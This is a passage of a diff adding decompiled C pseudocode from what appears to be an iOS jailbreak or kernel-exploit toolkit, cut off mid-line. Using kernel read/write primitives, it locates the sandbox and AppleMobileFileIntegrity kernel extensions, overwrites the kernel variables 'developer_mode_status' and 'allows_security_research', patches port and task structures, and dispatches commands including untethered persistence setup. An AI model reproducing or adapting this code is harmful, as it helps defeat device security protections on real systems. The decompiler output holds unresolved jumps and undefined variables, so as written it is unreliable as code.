(v64 & 3) == 0 && v64 < *(_QWORD *)(a1 + 0x19F0) ) + break; + v62 = 0; + v60 = 0LL; +LABEL_255: + st_ino = (__int64 *)((char *)st_ino + *(int *)(a1 + 0x168)); + if ( (unsigned __int64)st_ino >= *(_QWORD *)&v105.st_uid + v105.st_ino ) + return 0LL; + } + if ( ++v62 != 7 ) + goto LABEL_255; + *(_QWORD *)(a1 + 0x220) = v60; +LABEL_259: + *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x100LL) = v60; +LABEL_260: + if ( *(_BYTE *)(v51 + 0x9C) ) + krw_ctx_set_flag((_DWORD *)a1, 0x1000); + if ( v40 > 0x2257FFFFFFFFFFLL && *(_QWORD *)(v51 + 0xA0) ) + { + v66 = calloc(0x128uLL, 1uLL); + if ( v66 ) + { + v67 = (__int64)v66; + sub_19DD4((__int64)v66, a1); + v68 = v99; + *(_OWORD *)(v67 + 0x70) = v98; + *(_OWORD *)(v67 + 0x80) = v68; + *(_QWORD *)(v67 + 0x90) = v100; + *(_DWORD *)(v67 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v67 + 0x38) = *(_DWORD *)(a1 + 0x180); + if ( (unsigned int)sub_19F2C(v67, *(_QWORD *)(v51 + 0xA0)) ) + { + *(_QWORD *)(a1 + 0x1A00) = v67; + goto LABEL_267; + } + return 0x28017LL; + } + return 0xAD009LL; + } +LABEL_267: + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x1000) ) + { + if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.security.sandbox", &v97) ) + return 0x28018LL; + v77 = calloc(0x128uLL, 1uLL); + if ( !v77 ) + return 0xAD009LL; + v78 = (__int64)v77; + v79 = (v40 >> 0x2B > 0x44A) << 6; + sub_19DD4((__int64)v77, a1); + v80 = v99; + *(_OWORD *)(v78 + 0x70) = v98; + *(_OWORD *)(v78 + 0x80) = v80; + *(_QWORD *)(v78 + 0x90) = v100; + *(_DWORD *)(v78 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v78 + 0x38) = *(_DWORD *)(a1 + 0x180); + if ( v40 > 0x2257FFFFFFFFFFLL ) + { + *(_BYTE *)(v78 + 0x101) = 1; + *(_QWORD *)(v78 + 0xA8) = v51; + } + if ( !sub_1A0D4(v78, *(_DWORD *)(a1 + 0x1918), v97, v79) ) + return 0x28017LL; + *(_DWORD *)(v78 + 0x30) = *(_DWORD *)(v51 + 0x30); + *(_QWORD *)(a1 + 0x1D18) = v78; + if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.driver.AppleMobileFileIntegrity", &v101) ) + return 0x28018LL; + v81 = calloc(0x128uLL, 1uLL); + mach_port_with_a2 = 0xAD009LL; + if ( !v81 ) + return mach_port_with_a2; + v82 = (__int64)v81; + sub_19DD4((__int64)v81, a1); + v83 = v99; + *(_OWORD *)(v82 + 0x70) = v98; + *(_OWORD *)(v82 + 0x80) = v83; + *(_QWORD *)(v82 + 0x90) = v100; + *(_DWORD *)(v82 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v82 + 0x38) = *(_DWORD *)(a1 + 0x180); + if ( v40 > 0x2257FFFFFFFFFFLL ) + { + *(_BYTE *)(v82 + 0x101) = 1; + *(_QWORD *)(v82 + 0xA8) = v51; + } + if ( !sub_1A0D4(v82, *(_DWORD *)(a1 + 0x1918), v101, v79) ) + return 0x28017LL; + *(_DWORD *)(v82 + 0x30) = *(_DWORD *)(v51 + 0x30); + *(_QWORD *)(a1 + 0x1D20) = v82; + } + *(_QWORD *)&v105.st_dev = 0LL; + v69 = *(_QWORD *)(a1 + 0x118); + if ( !v69 || !*(_QWORD *)(a1 + 0x120) || (v70 = *(_QWORD *)(v69 + 0x128), (*(_QWORD *)&v105.st_dev = v70) == 0LL) ) + { + v76 = sub_1E45C(*(_QWORD *)(a1 + 0x19F8)); + if ( !v76 ) + return 0x2801ALL; + if ( !(unsigned int)kreadbuf_last_1(a1, v76, *(int *)(a1 + 0x168), (__int64)&v105) ) + return 0x2801ALL; + v70 = *(_QWORD *)&v105.st_dev; + if ( (v105.st_dev & 1) == 0 ) + return 0x2801ALL; + v84 = *(_QWORD *)(a1 + 0x118); + if ( v84 && *(_QWORD *)(a1 + 0x120) ) + { + *(_QWORD *)(v84 + 0x128) = *(_QWORD *)&v105.st_dev; + v70 = *(_QWORD *)&v105.st_dev; + } + } + *(_QWORD *)(a1 + 0x138) = v70; + sub_36088((_DWORD *)a1, 0x100); + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) + || (mach_port_with_a2 = sub_26BE4(a1), !(_DWORD)mach_port_with_a2) ) + { + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 + || !*(_QWORD *)(a1 + 0xD8) + || (mach_port_with_a2 = sub_28364(a1), !(_DWORD)mach_port_with_a2) ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) + goto LABEL_280; + LOBYTE(v103) = 0; + if ( (unsigned int)sub_3F9A0((_DWORD *)a1, (bool *)&v103) ) + { + if ( (_BYTE)v103 ) + goto LABEL_280; + if ( (unsigned int)sub_3FA2C((_DWORD *)a1, 1) ) + { + v85 = *(_QWORD *)(a1 + 0x1D20); + if ( !v85 ) + return 0xAD001LL; + variable_addr = kern_get_variable_addr(v85, "__DATA", "__data", "developer_mode_status"); + if ( !variable_addr ) + return 0x2801BLL; + v87 = variable_addr; + mach_port_with_a2 = 0x2800FLL; + if ( !kread64((_DWORD *)a1, variable_addr - 2LL * *(int *)(a1 + 0x168), (__int64 *)&v105.st_dev) ) + return mach_port_with_a2; + if ( *(_QWORD *)&v105.st_dev ) + goto LABEL_280; + v88 = kern_get_variable_addr(*(_QWORD *)(a1 + 0x1D20), "__DATA", "__data", "allows_security_research"); + if ( !v88 ) + return 0x2801BLL; + v89 = v88; + if ( !kread64((_DWORD *)a1, v87, (__int64 *)&v104) ) + return mach_port_with_a2; + if ( !v104 ) + return 0x28026LL; + mach_port_with_a2 = 0x28010LL; + if ( !kwrite64(a1, v89, v104) || !kwrite64(a1, v87, v104 + 0xA) ) + return mach_port_with_a2; +LABEL_280: + if ( v96 || v93 > 0x1F530F027FFFFFLL ) + { + mach_port_with_a2 = sub_3C450(a1, mach_task_self_, 0, 0LL); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + if ( v94 ) + { + mach_port_with_a2 = sub_3C9A4(a1, mach_task_self_); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + mach_port_with_a2 = sub_25804(a1); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + *(_DWORD *)(a1 + 0x1928) = mach_host_self(); + v71 = sub_3A72C(a1); + *(_DWORD *)(a1 + 0x1920) = v71; + mach_port_with_a2 = 0x2800ELL; + if ( (unsigned int)(*(_DWORD *)(a1 + 0x1928) + 1) < 2 ) + return mach_port_with_a2; + v72 = v71; + if ( v71 + 1 < 2 ) + return mach_port_with_a2; + if ( (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) + { + v73 = sub_3A878(a1); + *(_DWORD *)(a1 + 0x1924) = v73; + if ( (unsigned int)(v73 + 1) < 2 ) + return mach_port_with_a2; + goto LABEL_291; + } +LABEL_293: + sub_3B7E0(a1, mach_task_self_, v72); + if ( !v74 ) + return 0x28008LL; + krw_ctx_set_flag((_DWORD *)a1, 0x10); + } + else + { +LABEL_291: + if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) + { + v72 = *(_DWORD *)(a1 + 0x1920); + goto LABEL_293; + } + } + v75 = *(_DWORD *)(a1 + 0x1920); + if ( v75 + 1 < 2 ) + return 0xAD001LL; + v105.st_dev = 0; + if ( host_get_special_port(v75, 0xFFFFFFFF, 0x10, (mach_port_t *)&v105) ) + return 0xAD00BLL; + if ( (unsigned int)(v105.st_dev + 1) >= 2 ) + { + mach_port_deallocate(mach_task_self_, v105.st_dev); + return 0xAD024LL; + } + mach_port_with_a2 = sub_2A8A4(a1); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + if ( v95 || !a2 ) + return 0LL; + v90 = *(_QWORD *)(a1 + 0x158); + if ( v90 <= 0x27120F04B00002LL ) + { + if ( v90 <= 0x225C1E804FFFFFLL ) + { + if ( v90 <= 0x225C19804FFFFFLL ) + { + if ( v90 <= 0x1F530F027FFFFFLL || (*(_DWORD *)a1 & 0x5584001) == 0 && v90 <= 0x1F5418FFFFFFFFLL ) + { + v91 = sub_1CF1C(a1); + goto LABEL_350; + } + } + else if ( (*(_DWORD *)a1 & 0x5584001) == 0 || (*(_DWORD *)a1 & 1) != 0 ) + { + goto LABEL_349; + } + v91 = sub_1D1B0(a1); + goto LABEL_350; + } + } + else if ( (*(_BYTE *)a1 & 0x20) != 0 ) + { + v91 = sub_AC50(a1) == 0; +LABEL_350: + if ( !v91 ) + return 0x2801CLL; + return 0LL; + } +LABEL_349: + v91 = (unsigned int)sub_1D4A0(a1); + goto LABEL_350; + } + return 0x28003LL; + } + return v8; + } + } + return mach_port_with_a2; +} +// 3CDA8: variable 'v7' is possibly undefined +// 3DDB8: variable 'v74' is possibly undefined +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); +// 43730: using guessed type __int128 xmmword_43730; + +//----- (000000000003E1D8) ---------------------------------------------------- +bool __fastcall sub_3E1D8(__int64 a1, unsigned int a2) +{ + unsigned __int64 v3; // x21 + unsigned __int64 v4; // x0 + __int64 v5; // x8 + int v6; // w10 + int v7; // w11 + __int64 v8; // x9 + unsigned int v9; // w20 + __int64 v10; // x20 + __int64 v11; // x1 + __int64 v12; // x0 + __int64 v13; // x3 + __int64 v14; // x8 + __int64 v16; // [xsp+8h] [xbp-48h] BYREF + __int64 v17; // [xsp+10h] [xbp-40h] BYREF + __int64 v18; // [xsp+18h] [xbp-38h] BYREF + int v19; // [xsp+24h] [xbp-2Ch] BYREF + __int64 v20; // [xsp+28h] [xbp-28h] BYREF + + v3 = *(_QWORD *)(a1 + 0x158); + v4 = port_name_to_kaddr(a1, a2); + if ( !v4 ) + return 0LL; + v5 = 0LL; + v6 = v3 <= 0x18090A095FFFFFLL ? 0x38 : 0x30; + v7 = *(_DWORD *)(a1 + 0x140); + if ( v7 > 0x2257 ) + { + v9 = 0x160; + v8 = 0x308LL; + if ( v7 != 0x2258 && v7 != 0x225C && v7 != 0x2712 ) + return v5; + } + else if ( (unsigned int)(v7 - 0x1F53) < 2 ) + { + v8 = 0x310LL; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + v8 = 0x338LL; + v9 = 0x160; + } + else if ( v7 == 0x1809 ) + { + v9 = 0xA * v6; + v8 = 0x328LL; + } + else + { + if ( v7 != 0x1C1B ) + return v5; + v8 = 0x340LL; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + v8 = 0x338LL; + v9 = 0xA * v6; + } + if ( !kread64((_DWORD *)a1, v8 + v4, &v20) ) + return 0LL; + if ( !validate_addr(a1, v20) ) + return 0LL; + v10 = v20 + v9 + 0x18; + if ( !(unsigned int)kreadbuf_last_1(a1, v10, 4LL, (__int64)&v19) ) + return 0LL; + if ( (v19 & 1) == 0 ) + return 0LL; + v18 = 0x7FFFFFFFFFFFFFFFLL; + if ( !(unsigned int)kwritebuf_last_1(a1, v10 + 8, (__int64)&v18, 8LL) ) + return 0LL; + if ( v3 < 0x18090A09600000LL ) + { + v17 = 0x7FFFFFFFFFFFFFFFLL; + v11 = v10 + 0x10; + v12 = a1; + v13 = 8LL; + } + else + { + LOWORD(v17) = 0xFFFF; + v11 = v10 + 4; + v12 = a1; + v13 = 2LL; + } + if ( !(unsigned int)kwritebuf_last_1(v12, v11, (__int64)&v17, v13) ) + return 0LL; + v19 &= 0xFFFFCB0F; + if ( !(unsigned int)kwritebuf_last_1(a1, v10, (__int64)&v19, 4LL) ) + return 0LL; + v16 = 0LL; + v14 = 0x30LL; + if ( v3 > 0x18090A095FFFFFLL ) + v14 = 0x28LL; + return (unsigned int)kwritebuf_last_1(a1, v10 + v14, (__int64)&v16, 8LL) != 0; +} + +//----- (000000000003E42C) ---------------------------------------------------- +__int64 __fastcall driver_init2(__int64 *a1, char a2) +{ + void *v4; // x0 + __int64 v5; // x19 + __int64 v6; // x21 + + v4 = calloc(0x1D60uLL, 1uLL); + if ( !v4 ) + return 0xAD009LL; + v5 = (__int64)v4; + v6 = driver_init2_1((__int64)v4, (a2 & 1) == 0); + if ( !(_DWORD)v6 ) + { + if ( (unsigned int)check_rootfs_rw(v5, (int *)(v5 + 0x258)) ) + { + *a1 = v5; + sub_3E4D0((_QWORD *)v5); + return 0LL; + } + sub_3E4D0((_QWORD *)v5); + v6 = 0x28021LL; + } + free((void *)v5); + return v6; +} + +//----- (000000000003E4D0) ---------------------------------------------------- +__int64 __fastcall sub_3E4D0(_QWORD *a1) +{ + __int64 v2; // x0 + __int64 v3; // x0 + __int64 v4; // x0 + __int64 v5; // x0 + __int64 v6; // x0 + __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v2 = a1[0x33F]; + if ( v2 ) + sub_19854(v2); + v3 = a1[0x3A3]; + if ( v3 ) + sub_19854(v3); + v4 = a1[0x3A4]; + if ( v4 ) + sub_19854(v4); + v5 = a1[0x3A5]; + if ( v5 ) + sub_19854(v5); + v6 = a1[0x3A6]; + if ( v6 ) + sub_19854(v6); + result = a1[0x3A7]; + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_19854(result); + } + return result; +} +// 3E534: variable 'vars8' is possibly undefined + +//----- (000000000003E550) ---------------------------------------------------- +__int64 __fastcall driver_dispatch_command2( + __int64 a1, + int a2, + __int64 a3, + __int64 a4, + __int64 a5, + __int64 a6, + __int64 a7, + __int64 a8, + __int64 a9) +{ + return driver_dispatch_command3(a1, a2, a9); +} + +//----- (000000000003E580) ---------------------------------------------------- +// positive sp value has been detected, the output may be wrong! +__int64 __fastcall driver_dispatch_command3(__int64 a1, int a2, __int64 a3) +{ + __int64 v3; // x20 + __int64 v6; // x21 + __int64 result; // x0 + int v8; // w8 + __int64 v9; // x0 + int v10; // w0 + int v11; // w0 + int v12; // w22 + unsigned int v13; // w1 + __int64 v14; // [xsp-50h] [xbp-90h] BYREF + int v15; // [xsp-48h] [xbp-88h] BYREF + _BOOL4 v16; // [xsp-44h] [xbp-84h] BYREF + + v3 = a3; + v6 = 0xAD008LL; + if ( !((unsigned int)a2 >> 0x1E) || (result = 0xAD001LL, a3) ) + { + *(_OWORD *)(a1 + 0x18B8) = 0u; + sub_36088((_DWORD *)a1, 0x800000); + sub_21304(a1); + result = sub_3C450(a1, mach_task_self_, 0, 0LL); + if ( !(_DWORD)result ) + { + if ( BYTE1(a2) != 3 ) + { + if ( BYTE1(a2) != 1 ) + { + if ( !BYTE1(a2) ) + { + if ( a2 > 0x40000003 ) + { + switch ( a2 ) + { + case 0x40000018: + JUMPOUT(0x3ECECLL); + case 0x40000019: + JUMPOUT(0x3EE6CLL); + case 0x4000001B: + JUMPOUT(0x3EE88LL); + case 0x4000001E: + JUMPOUT(0x3EEACLL); + case 0x40000021: + JUMPOUT(0x3EED4LL); + case 0x40000023: + JUMPOUT(0x3EEE4LL); + default: + break; + } + } + else + { + switch ( a2 ) + { + case 1: + LODWORD(v14) = 0; + v16 = 0; + if ( sub_33E8C(a1, mach_task_self_) ) + { + v8 = *(_DWORD *)(a1 + 0x140); + if ( v8 <= 0x1F53 ) + JUMPOUT(0x3F050LL); + if ( v8 > 0x225B ) + JUMPOUT(0x3F088LL); + if ( v8 == 0x1F54 ) + JUMPOUT(0x3F0ACLL); + if ( v8 == 0x2258 ) + JUMPOUT(0x3F0CCLL); + } + JUMPOUT(0x3F164LL); + case 2: + JUMPOUT(0x3EC30LL); + case 3: + JUMPOUT(0x3EC38LL); + case 4: + case 5: + case 0xE: + case 0x10: + case 0x11: + case 0x12: + case 0x18: + case 0x19: + case 0x1B: + case 0x1C: + case 0x1D: + case 0x1E: + case 0x20: + case 0x21: + case 0x23: + case 0x24: + case 0x25: + break; + case 6: + JUMPOUT(0x3EC54LL); + case 7: + JUMPOUT(0x3EC64LL); + case 8: + JUMPOUT(0x3ECA4LL); + case 9: + JUMPOUT(0x3ECBCLL); + case 0xA: + JUMPOUT(0x3ECC4LL); + case 0xB: + JUMPOUT(0x3ECD4LL); + case 0xC: + JUMPOUT(0x3ECF4LL); + case 0xD: + JUMPOUT(0x3ED0CLL); + case 0xF: + JUMPOUT(0x3ED14LL); + case 0x13: + JUMPOUT(0x3ED2CLL); + case 0x14: + JUMPOUT(0x3ED48LL); + case 0x15: + JUMPOUT(0x3ED5CLL); + case 0x16: + JUMPOUT(0x3ED74LL); + case 0x17: + JUMPOUT(0x3ED90LL); + case 0x1A: + JUMPOUT(0x3EDA8LL); + case 0x1F: + JUMPOUT(0x3EDC4LL); + case 0x22: + JUMPOUT(0x3EDF8LL); + case 0x26: + JUMPOUT(0x3EE18LL); + default: + JUMPOUT(0x3E904LL); + } + } + v6 = 0xAD008LL; + } + goto LABEL_74; + } + LODWORD(v14) = v3; + v16 = 0; + if ( a2 > 0x108 ) + { + if ( a2 > 0x10C ) + { + switch ( a2 ) + { + case 0x10D: + if ( *(_QWORD *)(a1 + 0x158) >> 0x2B >= 0x44BuLL ) + sub_3FA2C((_DWORD *)a1, v3 != 0); + break; + case 0x4000010A: + sub_223A4(a1, *(_DWORD *)v3, *(_DWORD *)(v3 + 4), *(_QWORD *)(v3 + 0x10)); + break; + case 0x40000105: + sub_22464(a1, v3, 0x14); + break; + } + goto LABEL_108; + } + if ( a2 != 0x109 ) + { + if ( a2 == 0x10C ) + { + if ( !v3 ) + v3 = _CFProcessPath(); + v11 = open((const char *)v3, 0, v14); + if ( v11 == 0xFFFFFFFF ) + { + __error(); + __error(); + } + else + { + v12 = v11; + sub_2F7BC((_DWORD *)a1, v11); + close(v12); + } + } + goto LABEL_108; + } + v13 = v3 & 0xF; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL ) +LABEL_111: + JUMPOUT(0x3EF8CLL); + if ( v13 > 2 ) + JUMPOUT(0x3EEFCLL); + sub_14524((_DWORD *)a1, v13); +LABEL_108: + JUMPOUT(0x3EF90LL); + } + if ( a2 > (int)0x8000010C ) + { + if ( a2 != 0x8000010D ) + { + if ( a2 == 0xC000010B ) + { + if ( (*(_DWORD *)v3 & 4) != 0 ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + JUMPOUT(0x3EF10LL); + sub_1308C((_DWORD *)a1); + } + JUMPOUT(0x3EF34LL); + } + goto LABEL_108; + } + v10 = 0; + LOBYTE(v15) = 0; + if ( *(_QWORD *)(a1 + 0x158) >> 0x2B >= 0x44BuLL ) + { + v10 = sub_3F9A0((_DWORD *)a1, (bool *)&v15); + if ( v10 ) + LODWORD(v14) = (unsigned __int8)v15; + } + } + else + { + if ( a2 == 0x80000108 ) + { + v15 = 0x400; + if ( !(unsigned int)sub_14BEC(a1, (void *)(v3 + 0x10), &v15, &v16) ) + goto LABEL_108; + if ( v16 ) + *(_DWORD *)v3 = 1; + if ( !v15 ) + JUMPOUT(0x3EF08LL); + *(_DWORD *)v3 |= 2u; + goto LABEL_111; + } + if ( a2 != 0x80000109 ) + goto LABEL_108; + v10 = check_rootfs_rw(a1, (int *)&v14); + } + if ( v10 ) + *(_DWORD *)v3 = v14; + JUMPOUT(0x3EF98LL); + } + if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL && *(int *)(a1 + 0x140) <= 0x2257 ) + { + if ( a2 > 0x40000300 ) + { + switch ( a2 ) + { + case 0x40000301: + v9 = driver_cmd_setup_untethered_persistence_maybe(a1, *(_DWORD *)v3); + goto LABEL_72; + case 0x40000304: + v9 = sub_1FA28(a1, *(_DWORD *)(v3 + 0xC)); + goto LABEL_72; + case 0x40000305: + v9 = sub_1F900( + a1, + *(_DWORD *)v3, + *(_QWORD *)(v3 + 8), + *(_QWORD *)(v3 + 0x10), + *(_DWORD *)(v3 + 0x18), + *(_QWORD *)(v3 + 0x20)); + goto LABEL_72; + case 0x40000306: + v9 = sub_20468(a1, v3, 0x14); + goto LABEL_72; + default: + goto LABEL_74; + } + goto LABEL_74; + } + switch ( a2 ) + { + case 0x80000306: + v9 = sub_203B0(a1, (_DWORD *)v3, (char *)(v3 + 0x10)); + goto LABEL_72; + case 0xC0000303: + v9 = sub_1FA7C(a1, *(_QWORD *)v3, *(_DWORD *)(v3 + 8), v3 + 0xC); + goto LABEL_72; + case 0x302: + v9 = sub_1FC94(a1); +LABEL_72: + v6 = v9; + break; + } + } +LABEL_74: + sub_3E4D0((_QWORD *)a1); + return v6; + } + } + return result; +} +// 3F19C: positive sp value 50 has been found +// 3E658: control flows out of bounds to 3EC30 +// 3E658: control flows out of bounds to 3EC38 +// 3E658: control flows out of bounds to 3EC54 +// 3E658: control flows out of bounds to 3EC64 +// 3E658: control flows out of bounds to 3ECA4 +// 3E658: control flows out of bounds to 3ECBC +// 3E658: control flows out of bounds to 3ECC4 +// 3E658: control flows out of bounds to 3ECD4 +// 3E658: control flows out of bounds to 3ECF4 +// 3E658: control flows out of bounds to 3ED0C +// 3E658: control flows out of bounds to 3ED14 +// 3E658: control flows out of bounds to 3ED2C +// 3E658: control flows out of bounds to 3ED48 +// 3E658: control flows out of bounds to 3ED5C +// 3E658: control flows out of bounds to 3ED74 +// 3E658: control flows out of bounds to 3ED90 +// 3E658: control flows out of bounds to 3EDA8 +// 3E658: control flows out of bounds to 3EDC4 +// 3E658: control flows out of bounds to 3EDF8 +// 3E658: control flows out of bounds to 3EE18 +// 3E658: control flows out of bounds to 3E904 +// 3E814: control flows out of bounds to 3EE6C +// 3E814: control flows out of bounds to 3EE88 +// 3E814: control flows out of bounds to 3EEAC +// 3E814: control flows out of bounds to 3EED4 +// 3E814: control flows out of bounds to 3EEE4 +// 3E8F0: control flows out of bounds to 3EB9C +// 3E8F0: control flows out of bounds to 3EBB0 +// 3E8F0: control flows out of bounds to 3EBCC +// 3E8F0: control flows out of bounds to 3EBF0 +// 3E8F0: control flows out of bounds to 3EC10 +// 3E8F0: control flows out of bounds to 0 +// 3E688: control flows out of bounds to 3F050 +// 3E694: control flows out of bounds to 3F088 +// 3E6A0: control flows out of bounds to 3F0AC +// 3E6AC: control flows out of bounds to 3F164 +// 3E6B8: control flows out of bounds to 3F0CC +// 3E774: control flows out of bounds to 3EF90 +// 3E828: control flows out of bounds to 3ECEC +// 3E900: control flows out of bounds to 3EC48 +// 3EA1C: control flows out of bounds to 3EF8C +// 3EA88: control flows out of bounds to 3EF98 +// 3EABC: control flows out of bounds to 3EF34 +// 3EACC: control flows out of bounds to 3EEFC +// 3EA08: control flows out of bounds to 3EF08 +// 3EAA4: control flows out of bounds to 3EF10 +// 3E7E0: conditional instruction was optimized away because w22.4>=40000004 + +//----- (000000000003E904) ---------------------------------------------------- +// positive sp value has been detected, the output may be wrong! +__int64 __fastcall def_3E658(int a1) +{ + _DWORD *v1; // x19 + __int64 v2; // x20 + __int64 v3; // x21 + int v4; // w22 + + switch ( v4 ) + { + case 0xC000001B: + if ( krw_ctx_has_flag(v1, 0x5184001) ) + { + sub_3B524((__int64)v1, *(_DWORD *)v2, (bool *)(v2 + 4), (_BYTE *)(v2 + 6), (bool *)(v2 + 5)); + JUMPOUT(0x3F164LL); + } + JUMPOUT(0x3EFB4LL); + case 0xC000001C: + case 0xC000001E: + case 0xC000001F: + case 0xC0000021: + case 0xC0000022: + if ( (unsigned int)v3 | a1 ) + v3 = (unsigned int)v3; + else + v3 = 0x28003LL; + sub_3E4D0(v1); + return v3; + case 0xC000001D: + JUMPOUT(0x3EE28LL); + case 0xC0000020: + JUMPOUT(0x3EE40LL); + case 0xC0000023: + JUMPOUT(0x3EE54LL); + default: + JUMPOUT(0x3EB84LL); + } +} +// 3F19C: positive sp value 50 has been found +// 3E934: control flows out of bounds to 3EE28 +// 3E934: control flows out of bounds to 3EE40 +// 3E934: control flows out of bounds to 3EE54 +// 3E934: control flows out of bounds to 3EB84 +// 3E964: control flows out of bounds to 3F164 +// 3E948: control flows out of bounds to 3EFB4 +// 3E904: could not find valid save-restore pair for x23 +// 3E904: could not find valid save-restore pair for x24 +// 3E934: variable 'v4' is possibly undefined +// 3E944: variable 'v1' is possibly undefined +// 3E950: variable 'v2' is possibly undefined +// 3F168: variable 'v3' is possibly undefined + +//----- (000000000003EB84) ---------------------------------------------------- +// positive sp value has been detected, the output may be wrong! +__int64 __fastcall def_3E934(int a1) +{ + _QWORD *v1; // x19 + host_t *v2; // x20 + __int64 v3; // x21 + int v4; // w22 + task_inspect_t *v5; // x23 + + if ( v4 == 0x8000001C ) + { + sub_3FE68((__int64)v1, *v5, v2); + LODWORD(v3) = 0; + } + if ( (unsigned int)v3 | a1 ) + v3 = (unsigned int)v3; + else + v3 = 0x28003LL; + sub_3E4D0(v1); + return v3; +} +// 3F19C: positive sp value 50 has been found +// 3EB84: could not find valid save-restore pair for x24 +// 3EB90: variable 'v4' is possibly undefined +// 3EE4C: variable 'v1' is possibly undefined +// 3EB94: variable 'v5' is possibly undefined +// 3EE4C: variable 'v2' is possibly undefined +// 3F168: variable 'v3' is possibly undefined +// 3F168: variable 'a1' is possibly undefined + +//----- (000000000003F2E0) ---------------------------------------------------- +__int64 __fastcall sub_3F2E0(__int64 a1) +{ + __int64 v2; // x20 + unsigned int v4; // w1 + int v5; // w0 + int v6; // w22 + mach_port_t v7; // w1 + int v8; // w2 + int v9; // w0 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + *(_OWORD *)(a1 + 0x18B8) = 0u; + sub_36088((_DWORD *)a1, 0x800000); + sub_21304(a1); + v2 = sub_3C450(a1, mach_task_self_, 0, 0LL); + if ( (_DWORD)v2 ) + return v2; + v2 = 0x2801FLL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x400) ) + { + v10 = 0; + if ( !(unsigned int)check_rootfs_rw(a1, &v10) ) + return 0x28020LL; + if ( v10 != 3 ) + { + v4 = *(_DWORD *)(a1 + 0x258); + if ( v4 >= 2 ) + { + if ( v4 != 3 ) + return 0x28020LL; + v4 = 0; + } + if ( v10 == v4 || (unsigned int)sub_14524((_DWORD *)a1, v4) ) + goto LABEL_11; + return 0x28020LL; + } + } +LABEL_11: + if ( !krw_ctx_has_flag((_DWORD *)a1, 4) || (sub_23D30(a1, 0), v5) ) + { + if ( !*(_QWORD *)(a1 + 0x1900) || (unsigned int)sub_39CC0(a1, mach_task_self_, 2, a1 + 0x1908, 8LL) ) + { + if ( (v6 = *(_DWORD *)(a1 + 0x192C), (unsigned int)(v6 + 1) < 2) + || v6 != mach_thread_self() + || ((v7 = mach_thread_self(), *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL) ? (v8 = 1) : (v8 = 0x4000000), + (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, v7, v8, 0)) ) + { + if ( !*(_QWORD *)(a1 + 0x1910) + || (unsigned int)sub_3A150(a1, *(_DWORD *)(a1 + 0x1910), *(_DWORD *)(a1 + 0x1914), 0) ) + { + if ( mach_host_self() == *(_DWORD *)(a1 + 0x1928) + || krw_ctx_has_flag((_DWORD *)a1, 0x10) + || (sub_3B7E0(a1, mach_task_self_, *(_DWORD *)(a1 + 0x1928)), v9) ) + { + sub_3E4D0((_QWORD *)a1); + return 0LL; + } + } + } + } + } + return v2; +} +// 3F3D4: variable 'v5' is possibly undefined +// 3F4A0: variable 'v9' is possibly undefined + +//----- (000000000003F4BC) ---------------------------------------------------- +__int64 __fastcall driver_close_internal(char *a1) +{ + void (__fastcall *v2)(char *); // x8 + mach_port_name_t v3; // w1 + int v4; // w0 + int v5; // w0 + int v6; // w0 + int v7; // w0 + int v8; // w0 + mach_port_name_t v9; // w1 + io_object_t v10; // w0 + vm_address_t v11; // x1 + vm_size_t v12; // x2 + semaphore_t v13; // w1 + _DWORD *v14; // x21 + mach_port_name_t v15; // w1 + _DWORD *v16; // x23 + __int64 v17; // x0 + __int64 v18; // x0 + __int64 v19; // x0 + __int64 v20; // x0 + __int64 v21; // x0 + __int64 v22; // x0 + __int64 v23; // x0 + void *v24; // x0 + mach_port_name_t v25; // w1 + int v27; // [xsp+Ch] [xbp-34h] BYREF + + sub_12EF8((__int64)a1); + sub_38764((__int64)a1); + v2 = (void (__fastcall *)(char *))*((_QWORD *)a1 + 0x3A); + if ( v2 ) + v2(a1); + v3 = *((_DWORD *)a1 + 0x646); + if ( v3 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v3); + if ( *((_DWORD *)a1 + 0x64E) != 0xFFFFFFFF + || *((_DWORD *)a1 + 0x64F) != 0xFFFFFFFF + || *((_DWORD *)a1 + 0x64C) != 0xFFFFFFFF + || *((_DWORD *)a1 + 0x64D) != 0xFFFFFFFF + || *((_DWORD *)a1 + 0x650) != 0xFFFFFFFF ) + { + v27 = 0xFFFFFFFF; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + v4 = *((_DWORD *)a1 + 0x64E); + if ( v4 != 0xFFFFFFFF ) + { + close(v4); + *((_DWORD *)a1 + 0x64E) = 0xFFFFFFFF; + } + v5 = *((_DWORD 